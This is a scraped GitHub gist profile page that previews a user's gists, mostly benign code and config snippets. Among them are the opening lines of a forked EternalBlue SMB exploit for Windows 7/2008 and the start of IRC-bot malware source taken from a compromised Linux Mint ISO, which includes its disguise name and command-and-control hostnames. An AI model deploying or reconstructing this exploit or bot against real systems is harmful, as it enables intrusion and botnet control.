Skip to content

Instantly share code, notes, and snippets.

View curtiszimmerman's full-sized avatar

Z curtiszimmerman

  • Planet Earth
View GitHub Profile
@curtiszimmerman
curtiszimmerman / usefulShit.md
Created November 28, 2015 05:17
collection of interesting projects, websites, documents & articles, most realated to information security
@curtiszimmerman
curtiszimmerman / SMBDIS.ASM
Created October 16, 2017 18:31 — forked from 1wErt3r/SMBDIS.ASM
A Comprehensive Super Mario Bros. Disassembly
;SMBDIS.ASM - A COMPREHENSIVE SUPER MARIO BROS. DISASSEMBLY
;by doppelganger (doppelheathen@gmail.com)
;This file is provided for your own use as-is. It will require the character rom data
;and an iNES file header to get it to work.
;There are so many people I have to thank for this, that taking all the credit for
;myself would be an unforgivable act of arrogance. Without their help this would
;probably not be possible. So I thank all the peeps in the nesdev scene whose insight into
;the 6502 and the NES helped me learn how it works (you guys know who you are, there's no
@curtiszimmerman
curtiszimmerman / eternalblue7_exploit.py
Created June 6, 2017 08:18 — forked from worawit/eternalblue7_exploit.py
Eternalblue exploit for Windows 7/2008
#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
@curtiszimmerman
curtiszimmerman / app.js
Last active December 18, 2016 00:47
A super-simple example of typical module.exports usage
//// app.js
// main application
// @author curtiszimmerman
// @contact software@curtisz.com
// @license AGPL
// @version 0.0.1
var app = (function() {
// local dependency
var foo = require('./foo.js');
@curtiszimmerman
curtiszimmerman / sample.sql
Created August 15, 2016 19:57
Sample SQL Import
CREATE DATABASE IF NOT EXISTS Testing;
CREATE USER 'testing'@'%' IDENTIFIED BY '';
GRANT ALL PRIVILEGES ON Testing.* TO 'testing'@'%';
CREATE TABLE `Testing`.`Test` (
`Id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`Data` int(11) DEFAULT NULL,
`Url` varchar(255) DEFAULT NULL,
`Timestamp` int(11) DEFAULT NULL,
PRIMARY KEY (`Id`)
@curtiszimmerman
curtiszimmerman / gist:119cecedba73afca11ff122aef74e58e
Last active July 14, 2016 21:38
Sample Non-working Compose
# Dockerfile
FROM ubuntu
RUN apt-get update -y && \
apt-get install traceroute && \
rm -rf /var/lib/apt/lists/*
RUN mkdir /test
COPY entrypoint.sh /test
# docker-compose.yml
version: "2"
# make status bar more awesome
set -g status-utf8 on
set -g status-keys vi
set -g status-interval 1
set -g status-attr bright
set -g status-fg white
set -g status-bg black
set -g status-left-length 30
set -g status-left '#[fg=green][#[fg=red]#S - #(whoami) - #(cut -d " " -f 1-3 /proc/loadavg)#[fg=green]]#[default]'
set -g status-justify centre
@curtiszimmerman
curtiszimmerman / Dockerfile
Created May 19, 2016 20:21
Dockerfile for Ethereum C++ and Go implementations
FROM ubuntu:wily
MAINTAINER James Wheaton <jwheaton@kpmg.com>
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get -y update &&\
apt-get -y install language-pack-en-base &&\
dpkg-reconfigure locales &&\
apt-get -y install software-properties-common &&\
apt-get upgrade -q -y && \
@curtiszimmerman
curtiszimmerman / man.cy
Created March 3, 2016 18:11 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
/* *******************************************************************************
Hero authors of RFC 3986 (http://www.ietf.org/rfc/rfc3986.txt) gave us this regex
for parsing (well-formed) URLs into their constituent pieces:
^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?
Which for the following URL:
http://www.ics.uci.edu/pub/ietf/uri/#Related
Yields in the following subexpression matches: